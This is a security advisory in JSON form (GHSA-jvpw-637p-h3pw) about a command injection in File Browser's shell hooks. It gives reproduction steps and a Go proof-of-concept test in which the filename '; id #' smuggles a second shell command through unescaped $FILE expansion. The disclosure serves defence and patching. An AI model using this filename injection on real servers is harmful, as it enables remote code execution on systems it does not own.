CVE-2026-35585: Github.com/filebrowser/filebrowser/v2 File Browser Has A Command Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jvpw-637p-h3pw",
  "modified" : "2026-06-09T18:39:58Z",
  "published" : "2026-04-08T00:04:27Z",
  "aliases" : [ "CVE-2026-35585" ],
  "summary" : "File Browser has a Command Injection via Hook Runner",
  "details" : "> [!NOTE]\n> **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n>\n> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Overview\n\nThe hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**.\n\n## Affected Location\n\n- **File:** `runner/runner.go`\n- **Function:** `Runner.exec`\n\n## Technical Details\n\n`Runner.exec` expands template variables inside hook command strings using `os.Expand`:\n\n```go\n// runner/runner.go\nenvMapping := func(key string) string {\n    switch key {\n    case \"FILE\":\n        return path       // attacker-controlled filename\n    case \"USERNAME\":\n        return username   // attacker-controlled username\n    // ...\n    }\n}\n\nfor i, arg := range command {\n    if i == 0 { continue }\n    command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.\n}\n```\n\nThe expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as:\n\n```\nsh -c \"echo created $FILE\"\n```\n\n...and an attacker creates a file named `; id #`, the variable expansion produces:\n\n```\nsh -c \"echo created /path/to/; id #\"\n```\n\nThe `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors.\n\nThis pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin configures an `after_upload` hook: `sh -c \"echo created $FILE\"`.\n2. The attacker (authenticated user with upload permission) uploads a file named `; id #`.\n3. The upload succeeds and the hook fires automatically.\n4. The server executes:\n   ```sh\n   sh -c \"echo created /uploads/; id #\"\n   ```\n5. The `id` command runs, confirming RCE.\n\n## Impact\n\nAny authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly.\n\n## Proof of Concept\n\n```go\npackage runner\n\nimport (\n        \"os\"\n        \"testing\"\n\n        \"github.com/filebrowser/filebrowser/v2/settings\"\n)\n\nfunc TestPoC_FileHookInjection(t *testing.T) {\n        // Simulate an admin-configured shell-based hook\n        r := &Runner{\n                Enabled: true,\n                Settings: &settings.Settings{\n                        Shell: []string{\"sh\", \"-c\"},\n                        Commands: map[string][]string{\n                                \"after_upload\": {\"echo Uploaded $FILE\"},\n                        },\n                },\n        }\n\n        // Malicious filename crafted by the attacker\n        maliciousFilename := \"/tmp/safe; id #\"\n\n        // Simulate the exec logic in runner/runner.go\n        raw := r.Commands[\"after_upload\"][0]\n        command, _, _ := ParseCommand(r.Settings, raw)\n\n        envMapping := func(key string) string {\n                if key == \"FILE\" {\n                        return maliciousFilename\n                }\n                return os.Getenv(key)\n        }\n\n        for i, arg := range command {\n                if i == 0 {\n                        continue\n                }\n                // os.Expand substitutes $FILE with the attacker-controlled filename —\n                // no escaping is applied, so shell metacharacters pass through unchanged.\n                command[i] = os.Expand(arg, envMapping)\n        }\n\n        // The resulting command argument is the injected shell script:\n        // sh -c \"echo Uploaded /tmp/safe; id #\"\n        expectedArg := \"echo Uploaded /tmp/safe; id #\"\n        if command[2] != expectedArg {\n                t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n        }\n\n        t.Logf(\"Confirmed: filename injection succeeded. Shell will execute: %v\", command)\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.33.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35585"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/issues/5199"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78", "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T00:04:27Z",
    "nvd_published_at" : "2026-04-07T17:16:33Z"
  }
}